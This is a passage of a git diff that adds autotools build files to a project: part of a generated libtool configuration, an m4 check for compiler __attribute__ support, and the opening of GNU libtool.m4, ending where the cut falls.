+# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms="" + +# Symbols that must always be exported. +include_expsyms="" + +# ### END LIBTOOL TAG CONFIG: CXX + +# ### BEGIN LIBTOOL TAG CONFIG: F77 + +# Libtool was configured on host assdozer: + +# Shell to use when invoking shell scripts. +SHELL="/bin/sh" + +# Whether or not to build shared libraries. +build_libtool_libs=yes + +# Whether or not to build static libraries. +build_old_libs=yes + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=no + +# Whether or not to disallow shared libs when runtime libs are static +allow_libtool_libs_with_static_runtimes=no + +# Whether or not to optimize for fast installation. +fast_install=yes + +# The host system. +host_alias= +host=i686-pc-linux-gnu + +# An echo program that does not interpret backslashes. +echo="echo" + +# The archiver. +AR="ar" +AR_FLAGS="cru" + +# A C compiler. +LTCC="gcc" + +# A language-specific compiler. +CC="g77" + +# Is the compiler the GNU C compiler? +with_gcc=yes + +# An ERE matcher. +EGREP="/usr/bin/grep -E" + +# The linker used to build libraries. +LD="/usr/i486-slackware-linux/bin/ld" + +# Whether we need hard or soft links. +LN_S="ln -s" + +# A BSD-compatible nm program. +NM="/usr/bin/nm -B" + +# A symbol stripping program +STRIP="strip" + +# Used to examine libraries when file_magic_cmd begins "file" +MAGIC_CMD=file + +# Used on cygwin: DLL creation program. +DLLTOOL="dlltool" + +# Used on cygwin: object dumper. +OBJDUMP="objdump" + +# Used on cygwin: assembler. +AS="as" + +# The name of the directory that contains temporary libtool files. +objdir=.libs + +# How to create reloadable object files. +reload_flag=" -r" +reload_cmds="\$LD\$reload_flag -o \$output\$reload_objs" + +# How to pass a linker flag through the compiler. +wl="-Wl," + +# Object file suffix (normally "o"). +objext="o" + +# Old archive suffix (normally "a"). +libext="a" + +# Shared library suffix (normally ".so"). +shrext_cmds='.so' + +# Executable file suffix (normally ""). +exeext="" + +# Additional compiler flags for building library objects. +pic_flag=" -fPIC" +pic_mode=default + +# What is the maximum length of a command? +max_cmd_len=32768 + +# Does compiler simultaneously support -c and -o options? +compiler_c_o="yes" + +# Must we lock files when doing compilation ? +need_locks="no" + +# Do we need the lib prefix for modules? +need_lib_prefix=no + +# Do we need a version for libraries? +need_version=no + +# Whether dlopen is supported. +dlopen_support=yes + +# Whether dlopen of programs is supported. +dlopen_self=yes + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=yes + +# Compiler flag to prevent dynamic linking. +link_static_flag="-static" + +# Compiler flag to turn off builtin functions. +no_builtin_flag="" + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec="\${wl}--export-dynamic" + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec="\${wl}--whole-archive\$convenience \${wl}--no-whole-archive" + +# Compiler flag to generate thread-safe objects. +thread_safe_flag_spec="" + +# Library versioning type. +version_type=linux + +# Format of library name prefix. +libname_spec="lib\$name" + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME. +library_names_spec="\${libname}\${release}\${shared_ext}\$versuffix \${libname}\${release}\${shared_ext}\$major \$libname\${shared_ext}" + +# The coded name of the library, if different from the real name. +soname_spec="\${libname}\${release}\${shared_ext}\$major" + +# Commands used to build and install an old-style archive. +RANLIB="ranlib" +old_archive_cmds="\$AR \$AR_FLAGS \$oldlib\$oldobjs\$old_deplibs~\$RANLIB \$oldlib" +old_postinstall_cmds="\$RANLIB \$oldlib~chmod 644 \$oldlib" +old_postuninstall_cmds="" + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds="" + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds="" + +# Commands used to build and install a shared archive. +archive_cmds="\$CC -shared \$libobjs \$deplibs \$compiler_flags \${wl}-soname \$wl\$soname -o \$lib" +archive_expsym_cmds="\$echo \\\"{ global:\\\" > \$output_objdir/\$libname.ver~ +cat \$export_symbols | sed -e \\\"s/\\\\(.*\\\\)/\\\\1;/\\\" >> \$output_objdir/\$libname.ver~ +\$echo \\\"local: *; };\\\" >> \$output_objdir/\$libname.ver~ + \$CC -shared \$libobjs \$deplibs \$compiler_flags \${wl}-soname \$wl\$soname \${wl}-version-script \${wl}\$output_objdir/\$libname.ver -o \$lib" +postinstall_cmds="" +postuninstall_cmds="" + +# Commands used to build a loadable module (assumed same as above if empty) +module_cmds="" +module_expsym_cmds="" + +# Commands to strip libraries. +old_striplib="strip --strip-debug" +striplib="strip --strip-unneeded" + +# Dependencies to place before the objects being linked to create a +# shared library. +predep_objects="" + +# Dependencies to place after the objects being linked to create a +# shared library. +postdep_objects="" + +# Dependencies to place before the objects being linked to create a +# shared library. +predeps="" + +# Dependencies to place after the objects being linked to create a +# shared library. +postdeps="" + +# The library search path used internally by the compiler when linking +# a shared library. +compiler_lib_search_path="" + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method="pass_all" + +# Command to use when deplibs_check_method == file_magic. +file_magic_cmd="\$MAGIC_CMD" + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag="" + +# Flag that forces no undefined symbols. +no_undefined_flag="" + +# Commands used to finish a libtool library installation in a directory. +finish_cmds="PATH=\\\"\\\$PATH:/sbin\\\" ldconfig -n \$libdir" + +# Same as above, but a single script fragment to be evaled but not shown. +finish_eval="" + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe="sed -n -e 's/^.*[ ]\\([ABCDGIRSTW][ABCDGIRSTW]*\\)[ ][ ]*\\(\\)\\([_A-Za-z][_A-Za-z0-9]*\\)\$/\\1 \\2\\3 \\3/p'" + +# Transform the output of nm in a proper C declaration +global_symbol_to_cdecl="sed -n -e 's/^. .* \\(.*\\)\$/extern int \\1;/p'" + +# Transform the output of nm in a C name address pair +global_symbol_to_c_name_address="sed -n -e 's/^: \\([^ ]*\\) \$/ {\\\"\\1\\\", (lt_ptr) 0},/p' -e 's/^[BCDEGRST] \\([^ ]*\\) \\([^ ]*\\)\$/ {\"\\2\", (lt_ptr) \\&\\2},/p'" + +# This is the shared library runtime path variable. +runpath_var=LD_RUN_PATH + +# This is the shared library path variable. +shlibpath_var=LD_LIBRARY_PATH + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=no + +# How to hardcode a shared library path into an executable. +hardcode_action=immediate + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=yes + +# Flag to hardcode $libdir into a binary during linking. +# This must work even if $libdir does not exist. +hardcode_libdir_flag_spec="\${wl}--rpath \${wl}\$libdir" + +# If ld is used when linking, flag to hardcode $libdir into +# a binary during linking. This must work even if $libdir does +# not exist. +hardcode_libdir_flag_spec_ld="" + +# Whether we need a single -rpath flag with a separated argument. +hardcode_libdir_separator="" + +# Set to yes if using DIR/libNAME during linking hardcodes DIR into the +# resulting binary. +hardcode_direct=no + +# Set to yes if using the -LDIR flag during linking hardcodes DIR into the +# resulting binary. +hardcode_minus_L=no + +# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into +# the resulting binary. +hardcode_shlibpath_var=unsupported + +# Set to yes if building a shared library automatically hardcodes DIR into the library +# and all subsequent libraries and executables linked against it. +hardcode_automatic=no + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at relink time. +variables_saved_for_relink="PATH LD_LIBRARY_PATH LD_RUN_PATH GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=unknown + +# Compile-time system search path for libraries +sys_lib_search_path_spec=" /usr/lib/gcc/i486-slackware-linux/3.4.6/ /usr/lib/gcc/i486-slackware-linux/3.4.6/ /usr/lib/gcc/i486-slackware-linux/3.4.6/../../../../i486-slackware-linux/lib/i486-slackware-linux/3.4.6/ /usr/lib/gcc/i486-slackware-linux/3.4.6/../../../../i486-slackware-linux/lib/ /usr/lib/gcc/i486-slackware-linux/3.4.6/../../../i486-slackware-linux/3.4.6/ /usr/lib/gcc/i486-slackware-linux/3.4.6/../../../ /lib/i486-slackware-linux/3.4.6/ /lib/ /usr/lib/i486-slackware-linux/3.4.6/ /usr/lib/" + +# Run-time system search path for libraries +sys_lib_dlsearch_path_spec="/lib /usr/lib /usr/local/lib /usr/X11R6/lib /usr/i486-slackware-linux/lib /opt/kde/lib " + +# Fix the shell variable $srcfile for the compiler. +fix_srcfile_path="" + +# Set to yes if exported symbols are required. +always_export_symbols=no + +# The commands to list exported symbols. +export_symbols_cmds="\$NM \$libobjs \$convenience | \$global_symbol_pipe | \$SED 's/.* //' | sort | uniq > \$export_symbols" + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds="" + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms="_GLOBAL_OFFSET_TABLE_" + +# Symbols that must always be exported. +include_expsyms="" + +# ### END LIBTOOL TAG CONFIG: F77 + diff --git a/m4/ax_c___attribute__.m4 b/m4/ax_c___attribute__.m4 new file mode 100644 index 0000000..baadd1e --- /dev/null +++ b/m4/ax_c___attribute__.m4 @@ -0,0 +1,30 @@ +dnl @synopsis AX_C___ATTRIBUTE__ +dnl +dnl Provides a test for the compiler support of __attribute__ +dnl extensions. defines HAVE___ATTRIBUTE__ if it is found. +dnl +dnl Originating from the 'pork' package by Ryan McCabe +dnl +dnl @category C +dnl @author Christian Haggstrom +dnl @version 2005-01-21 +dnl @license GPLWithACException + +AC_DEFUN([AX_C___ATTRIBUTE__], [ + AC_MSG_CHECKING(for __attribute__) + AC_CACHE_VAL(ac_cv___attribute__, [ + AC_TRY_COMPILE( + [#include ], + [static void foo(void) __attribute__ ((unused)); + static void + foo(void) { + exit(1); + }], + ac_cv___attribute__=yes, + ac_cv___attribute__=no + )]) + if test "$ac_cv___attribute__" = "yes"; then + AC_DEFINE(HAVE___ATTRIBUTE__, 1, [define if your compiler has __attribute__]) + fi + AC_MSG_RESULT($ac_cv___attribute__) +]) diff --git a/m4/libtool.m4 b/m4/libtool.m4 new file mode 100644 index 0000000..71dae45 --- /dev/null +++ b/m4/libtool.m4 @@ -0,0 +1,5987 @@ +# libtool.m4 - Configure libtool for the host system. -*-Autoconf-*- +## Copyright 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004 +## Free Software Foundation, Inc. +## Originally by Gordon Matzigkeit , 1996 +## +## This program is free software; you can redistribute it and/or modify +## it under the terms of the GNU General Public License as published by +## the Free Software Foundation; either version 2 of the License, or +## (at your option) any later version. +## +## This program is distributed in the hope that it will be useful, but +## WITHOUT ANY WARRANTY; without even the implied warranty of +## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +## General Public License for more details. +## +## You should have received a copy of the GNU General Public License +## along with this program; if not, write to the Free Software +## Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +## +## As a special exception to the GNU General Public License, if you +## distribute this file as part of a program that contains a +## configuration script generated by Autoconf, you may include it under +## the same distribution terms that you use for the rest of that program. + +# serial 47 AC_PROG_LIBTOOL + + +# AC_PROVIDE_IFELSE(MACRO-NAME, IF-PROVIDED, IF-NOT-PROVIDED) +# ----------------------------------------------------------- +# If this macro is not defined by Autoconf, define it here. +m4_ifdef([AC_PROVIDE_IFELSE], + [], + [m4_define([AC_PROVIDE_IFELSE], + [m4_ifdef([AC_PROVIDE_$1], + [$2], [$3])])]) + + +# AC_PROG_LIBTOOL +# --------------- +AC_DEFUN([AC_PROG_LIBTOOL], +[AC_REQUIRE([_AC_PROG_LIBTOOL])dnl +dnl If AC_PROG_CXX has already been expanded, run AC_LIBTOOL_CXX +dnl immediately, otherwise, hook it in at the end of AC_PROG_CXX. + AC_PROVIDE_IFELSE([AC_PROG_CXX], + [AC_LIBTOOL_CXX], + [define([AC_PROG_CXX], defn([AC_PROG_CXX])[AC_LIBTOOL_CXX + ])]) +dnl And a similar setup for Fortran 77 support + AC_PROVIDE_IFELSE([AC_PROG_F77], + [AC_LIBTOOL_F77], + [define([AC_PROG_F77], defn([AC_PROG_F77])[AC_LIBTOOL_F77 +])]) + +dnl Quote A][M_PROG_GCJ so that aclocal doesn't bring it in needlessly. +dnl If either AC_PROG_GCJ or A][M_PROG_GCJ have already been expanded, run +dnl AC_LIBTOOL_GCJ immediately, otherwise, hook it in at the end of both. + AC_PROVIDE_IFELSE([AC_PROG_GCJ], + [AC_LIBTOOL_GCJ], + [AC_PROVIDE_IFELSE([A][M_PROG_GCJ], + [AC_LIBTOOL_GCJ], + [AC_PROVIDE_IFELSE([LT_AC_PROG_GCJ], + [AC_LIBTOOL_GCJ], + [ifdef([AC_PROG_GCJ], + [define([AC_PROG_GCJ], defn([AC_PROG_GCJ])[AC_LIBTOOL_GCJ])]) + ifdef([A][M_PROG_GCJ], + [define([A][M_PROG_GCJ], defn([A][M_PROG_GCJ])[AC_LIBTOOL_GCJ])]) + ifdef([LT_AC_PROG_GCJ], + [define([LT_AC_PROG_GCJ], + defn([LT_AC_PROG_GCJ])[AC_LIBTOOL_GCJ])])])]) +])])# AC_PROG_LIBTOOL + + +# _AC_PROG_LIBTOOL +# ---------------- +AC_DEFUN([_AC_PROG_LIBTOOL], +[AC_REQUIRE([AC_LIBTOOL_SETUP])dnl +AC_BEFORE([$0],[AC_LIBTOOL_CXX])dnl +AC_BEFORE([$0],[AC_LIBTOOL_F77])dnl +AC_BEFORE([$0],[AC_LIBTOOL_GCJ])dnl + +# This can be used to rebuild libtool when needed +LIBTOOL_DEPS="$ac_aux_dir/ltmain.sh" + +# Always use our own libtool. +LIBTOOL='$(SHELL) $(top_builddir)/libtool' +AC_SUBST(LIBTOOL)dnl + +# Prevent multiple expansion +define([AC_PROG_LIBTOOL], []) +])# _AC_PROG_LIBTOOL + + +# AC_LIBTOOL_SETUP +# ---------------- +AC_DEFUN([AC_LIBTOOL_SETUP], +[AC_PREREQ(2.50)dnl +AC_REQUIRE([AC_ENABLE_SHARED])dnl +AC_REQUIRE([AC_ENABLE_STATIC])dnl +AC_REQUIRE([AC_ENABLE_FAST_INSTALL])dnl +AC_REQUIRE([AC_CANONICAL_HOST])dnl +AC_REQUIRE([AC_CANONICAL_BUILD])dnl +AC_REQUIRE([AC_PROG_CC])dnl +AC_REQUIRE([AC_PROG_LD])dnl +AC_REQUIRE([AC_PROG_LD_RELOAD_FLAG])dnl +AC_REQUIRE([AC_PROG_NM])dnl + +AC_REQUIRE([AC_PROG_LN_S])dnl +AC_REQUIRE([AC_DEPLIBS_CHECK_METHOD])dnl +# Autoconf 2.13's AC_OBJEXT and AC_EXEEXT macros only works for C compilers! +AC_REQUIRE([AC_OBJEXT])dnl +AC_REQUIRE([AC_EXEEXT])dnl +dnl + +AC_LIBTOOL_SYS_MAX_CMD_LEN +AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE +AC_LIBTOOL_OBJDIR + +AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl +_LT_AC_PROG_ECHO_BACKSLASH + +case $host_os in +aix3*) + # AIX sometimes has problems with the GCC collect2 program. For some + # reason, if we set the COLLECT_NAMES environment variable, the problems + # vanish in a puff of smoke. + if test "X${COLLECT_NAMES+set}" != Xset; then + COLLECT_NAMES= + export COLLECT_NAMES + fi + ;; +esac + +# Sed substitution that helps us do robust quoting. It backslashifies +# metacharacters that are still active within double-quoted strings. +Xsed='sed -e s/^X//' +[sed_quote_subst='s/\([\\"\\`$\\\\]\)/\\\1/g'] + +# Same as above, but do not quote variable references. +[double_quote_subst='s/\([\\"\\`\\\\]\)/\\\1/g'] + +# Sed substitution to delay expansion of an escaped shell variable in a +# double_quote_subst'ed string. +delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g' + +# Sed substitution to avoid accidental globbing in evaled expressions +no_glob_subst='s/\*/\\\*/g' + +# Constants: +rm="rm -f" + +# Global variables: +default_ofile=libtool +can_build_shared=yes + +# All known linkers require a `.a' archive for static linking (except M$VC, +# which needs '.lib'). +libext=a +ltmain="$ac_aux_dir/ltmain.sh" +ofile="$default_ofile" +with_gnu_ld="$lt_cv_prog_gnu_ld" + +AC_CHECK_TOOL(AR, ar, false) +AC_CHECK_TOOL(RANLIB, ranlib, :) +AC_CHECK_TOOL(STRIP, strip, :) + +old_CC="$CC" +old_CFLAGS="$CFLAGS" + +# Set sane defaults for various variables +test -z "$AR" && AR=ar +test -z "$AR_FLAGS" && AR_FLAGS=cru +test -z "$AS" && AS=as +test -z "$CC" && CC=cc +test -z "$LTCC" && LTCC=$CC +test -z "$DLLTOOL" && DLLTOOL=dlltool +test -z "$LD" && LD=ld +test -z "$LN_S" && LN_S="ln -s" +test -z "$MAGIC_CMD" && MAGIC_CMD=file +test -z "$NM" && NM=nm +test -z "$SED" && SED=sed +test -z "$OBJDUMP" && OBJDUMP=objdump +test -z "$RANLIB" && RANLIB=: +test -z "$STRIP" && STRIP=: +test -z "$ac_objext" && ac_objext=o + +# Determine commands to create old-style static archives. +old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs$old_deplibs' +old_postinstall_cmds='chmod 644 $oldlib' +old_postuninstall_cmds= + +if test -n "$RANLIB"; then + case $host_os in + openbsd*) + old_postinstall_cmds="\$RANLIB -t \$oldlib~$old_postinstall_cmds" + ;; + *) + old_postinstall_cmds="\$RANLIB \$oldlib~$old_postinstall_cmds" + ;; + esac + old_archive_cmds="$old_archive_cmds~\$RANLIB \$oldlib" +fi + +cc_basename=`$echo X"$compiler" | $Xsed -e 's%^.*/%%'` + +# Only perform the check for file, if the check method requires it +case $deplibs_check_method in +file_magic*) + if test "$file_magic_cmd" = '$MAGIC_CMD'; then + AC_PATH_MAGIC + fi + ;; +esac + +AC_PROVIDE_IFELSE([AC_LIBTOOL_DLOPEN], enable_dlopen=yes, enable_dlopen=no) +AC_PROVIDE_IFELSE([AC_LIBTOOL_WIN32_DLL], +enable_win32_dll=yes, enable_win32_dll=no) + +AC_ARG_ENABLE([libtool-lock], + [AC_HELP_STRING([--disable-libtool-lock], + [avoid locking (might break parallel builds)])]) +test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes + +AC_ARG_WITH([pic], + [AC_HELP_STRING([--with-pic], + [try to use only PIC/non-PIC objects @<:@default=use both@:>@])], + [pic_mode="$withval"], + [pic_mode=default]) +test -z "$pic_mode" && pic_mode=default + +# Use C for the default configuration in the libtool script +tagname= +AC_LIBTOOL_LANG_C_CONFIG +_LT_AC_TAGCONFIG +])# AC_LIBTOOL_SETUP + + +# _LT_AC_SYS_COMPILER +# ------------------- +AC_DEFUN([_LT_AC_SYS_COMPILER], +[AC_REQUIRE([AC_PROG_CC])dnl + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# Allow CC to be a program name with arguments. +compiler=$CC +])# _LT_AC_SYS_COMPILER + + +# _LT_AC_SYS_LIBPATH_AIX +# ---------------------- +# Links a minimal program and checks the executable +# for the system default hardcoded library path. In most cases, +# this is /usr/lib:/lib, but when the MPI compilers are used +# the location of the communication and MPI libs are included too. +# If we don't find anything, use the default library path according +# to the aix ld manual. +AC_DEFUN([_LT_AC_SYS_LIBPATH_AIX], +[AC_LINK_IFELSE(AC_LANG_PROGRAM,[ +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi],[]) +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi +])# _LT_AC_SYS_LIBPATH_AIX + + +# _LT_AC_SHELL_INIT(ARG) +# ---------------------- +AC_DEFUN([_LT_AC_SHELL_INIT], +[ifdef([AC_DIVERSION_NOTICE], + [AC_DIVERT_PUSH(AC_DIVERSION_NOTICE)], + [AC_DIVERT_PUSH(NOTICE)]) +$1 +AC_DIVERT_POP +])# _LT_AC_SHELL_INIT + + +# _LT_AC_PROG_ECHO_BACKSLASH +# -------------------------- +# Add some code to the start of the generated configure script which +# will find an echo command which doesn't interpret backslashes. +AC_DEFUN([_LT_AC_PROG_ECHO_BACKSLASH], +[_LT_AC_SHELL_INIT([ +# Check that we are running under the correct shell. +SHELL=${CONFIG_SHELL-/bin/sh} + +case X$ECHO in +X*--fallback-echo) + # Remove one level of quotation (which was required for Make). + ECHO=`echo "$ECHO" | sed 's,\\\\\[$]\\[$]0,'[$]0','` + ;; +esac + +echo=${ECHO-echo} +if test "X[$]1" = X--no-reexec; then + # Discard the --no-reexec flag, and continue. + shift +elif test "X[$]1" = X--fallback-echo; then + # Avoid inline document here, it may be left over + : +elif test "X`($echo '\t') 2>/dev/null`" = 'X\t' ; then + # Yippee, $echo works! + : +else + # Restart under the correct shell. + exec $SHELL "[$]0" --no-reexec ${1+"[$]@"} +fi + +if test "X[$]1" = X--fallback-echo; then + # used as fallback echo + shift + cat </dev/null 2>&1 && unset CDPATH + +if test -z "$ECHO"; then +if test "X${echo_test_string+set}" != Xset; then +# find a string as large as possible, as long as the shell can cope with it + for cmd in 'sed 50q "[$]0"' 'sed 20q "[$]0"' 'sed 10q "[$]0"' 'sed 2q "[$]0"' 'echo test'; do + # expected sizes: less than 2Kb, 1Kb, 512 bytes, 16 bytes, ... + if (echo_test_string="`eval $cmd`") 2>/dev/null && + echo_test_string="`eval $cmd`" && + (test "X$echo_test_string" = "X$echo_test_string") 2>/dev/null + then + break + fi + done +fi + +if test "X`($echo '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`($echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + : +else + # The Solaris, AIX, and Digital Unix default echo programs unquote + # backslashes. This makes it impossible to quote backslashes using + # echo "$something" | sed 's/\\/\\\\/g' + # + # So, first we look for a working echo in the user's PATH. + + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for dir in $PATH /usr/ucb; do + IFS="$lt_save_ifs" + if (test -f $dir/echo || test -f $dir/echo$ac_exeext) && + test "X`($dir/echo '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`($dir/echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + echo="$dir/echo" + break + fi + done + IFS="$lt_save_ifs" + + if test "X$echo" = Xecho; then + # We didn't find a better echo, so look for alternatives. + if test "X`(print -r '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`(print -r "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + # This shell has a builtin print -r that does the trick. + echo='print -r' + elif (test -f /bin/ksh || test -f /bin/ksh$ac_exeext) && + test "X$CONFIG_SHELL" != X/bin/ksh; then + # If we have ksh, try running configure again with it. + ORIGINAL_CONFIG_SHELL=${CONFIG_SHELL-/bin/sh} + export ORIGINAL_CONFIG_SHELL + CONFIG_SHELL=/bin/ksh + export CONFIG_SHELL + exec $CONFIG_SHELL "[$]0" --no-reexec ${1+"[$]@"} + else + # Try using printf. + echo='printf %s\n' + if test "X`($echo '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`($echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + # Cool, printf works + : + elif echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` && + test "X$echo_testing_string" = 'X\t' && + echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + CONFIG_SHELL=$ORIGINAL_CONFIG_SHELL + export CONFIG_SHELL + SHELL="$CONFIG_SHELL" + export SHELL + echo="$CONFIG_SHELL [$]0 --fallback-echo" + elif echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` && + test "X$echo_testing_string" = 'X\t' && + echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + echo="$CONFIG_SHELL [$]0 --fallback-echo" + else + # maybe with a smaller string... + prev=: + + for cmd in 'echo test' 'sed 2q "[$]0"' 'sed 10q "[$]0"' 'sed 20q "[$]0"' 'sed 50q "[$]0"'; do + if (test "X$echo_test_string" = "X`eval $cmd`") 2>/dev/null + then + break + fi + prev="$cmd" + done + + if test "$prev" != 'sed 50q "[$]0"'; then + echo_test_string=`eval $prev` + export echo_test_string + exec ${ORIGINAL_CONFIG_SHELL-${CONFIG_SHELL-/bin/sh}} "[$]0" ${1+"[$]@"} + else + # Oops. We lost completely, so just stick with echo. + echo=echo + fi + fi + fi + fi +fi +fi + +# Copy echo and quote the copy suitably for passing to libtool from +# the Makefile, instead of quoting the original, which is used later. +ECHO=$echo +if test "X$ECHO" = "X$CONFIG_SHELL [$]0 --fallback-echo"; then + ECHO="$CONFIG_SHELL \\\$\[$]0 --fallback-echo" +fi + +AC_SUBST(ECHO) +])])# _LT_AC_PROG_ECHO_BACKSLASH + + +# _LT_AC_LOCK +# ----------- +AC_DEFUN([_LT_AC_LOCK], +[AC_ARG_ENABLE([libtool-lock], + [AC_HELP_STRING([--disable-libtool-lock], + [avoid locking (might break parallel builds)])]) +test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes + +# Some flags need to be propagated to the compiler or linker for good +# libtool support. +case $host in +ia64-*-hpux*) + # Find out which ABI we are using. + echo 'int i;' > conftest.$ac_ext + if AC_TRY_EVAL(ac_compile); then + case `/usr/bin/file conftest.$ac_objext` in + *ELF-32*) + HPUX_IA64_MODE="32" + ;; + *ELF-64*) + HPUX_IA64_MODE="64" + ;; + esac + fi + rm -rf conftest* + ;; +*-*-irix6*) + # Find out which ABI we are using. + echo '[#]line __oline__ "configure"' > conftest.$ac_ext + if AC_TRY_EVAL(ac_compile); then + if test "$lt_cv_prog_gnu_ld" = yes; then + case `/usr/bin/file conftest.$ac_objext` in + *32-bit*) + LD="${LD-ld} -melf32bsmip" + ;; + *N32*) + LD="${LD-ld} -melf32bmipn32" + ;; + *64-bit*) + LD="${LD-ld} -melf64bmip" + ;; + esac + else + case `/usr/bin/file conftest.$ac_objext` in + *32-bit*) + LD="${LD-ld} -32" + ;; + *N32*) + LD="${LD-ld} -n32" + ;; + *64-bit*) + LD="${LD-ld} -64" + ;; + esac + fi + fi + rm -rf conftest* + ;; + +x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*|s390*-*linux*|sparc*-*linux*) + # Find out which ABI we are using. + echo 'int i;' > conftest.$ac_ext + if AC_TRY_EVAL(ac_compile); then + case "`/usr/bin/file conftest.o`" in + *32-bit*) + case $host in + x86_64-*linux*) + LD="${LD-ld} -m elf_i386" + ;; + ppc64-*linux*|powerpc64-*linux*) + LD="${LD-ld} -m elf32ppclinux" + ;; + s390x-*linux*) + LD="${LD-ld} -m elf_s390" + ;; + sparc64-*linux*) + LD="${LD-ld} -m elf32_sparc" + ;; + esac + ;; + *64-bit*) + case $host in + x86_64-*linux*) + LD="${LD-ld} -m elf_x86_64" + ;; + ppc*-*linux*|powerpc*-*linux*) + LD="${LD-ld} -m elf64ppc" + ;; + s390*-*linux*) + LD="${LD-ld} -m elf64_s390" + ;; + sparc*-*linux*) + LD="${LD-ld} -m elf64_sparc" + ;; + esac + ;; + esac + fi + rm -rf conftest* + ;; + +*-*-sco3.2v5*) + # On SCO OpenServer 5, we need -belf to get full-featured binaries. + SAVE_CFLAGS="$CFLAGS" + CFLAGS="$CFLAGS -belf" + AC_CACHE_CHECK([whether the C compiler needs -belf], lt_cv_cc_needs_belf, + [AC_LANG_PUSH(C) + AC_TRY_LINK([],[],[lt_cv_cc_needs_belf=yes],[lt_cv_cc_needs_belf=no]) + AC_LANG_POP]) + if test x"$lt_cv_cc_needs_belf" != x"yes"; then + # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf + CFLAGS="$SAVE_CFLAGS" + fi + ;; +AC_PROVIDE_IFELSE([AC_LIBTOOL_WIN32_DLL], +[*-*-cygwin* | *-*-mingw* | *-*-pw32*) + AC_CHECK_TOOL(DLLTOOL, dlltool, false) + AC_CHECK_TOOL(AS, as, false) + AC_CHECK_TOOL(OBJDUMP, objdump, false) + ;; + ]) +esac + +need_locks="$enable_libtool_lock" + +])# _LT_AC_LOCK + + +# AC_LIBTOOL_COMPILER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS, +# [OUTPUT-FILE], [ACTION-SUCCESS], [ACTION-FAILURE]) +# ---------------------------------------------------------------- +# Check whether the given compiler option works +AC_DEFUN([AC_LIBTOOL_COMPILER_OPTION], +[AC_REQUIRE([LT_AC_PROG_SED]) +AC_CACHE_CHECK([$1], [$2], + [$2=no + ifelse([$4], , [ac_outfile=conftest.$ac_objext], [ac_outfile=$4]) + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="$3" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&AS_MESSAGE_LOG_FD + echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there 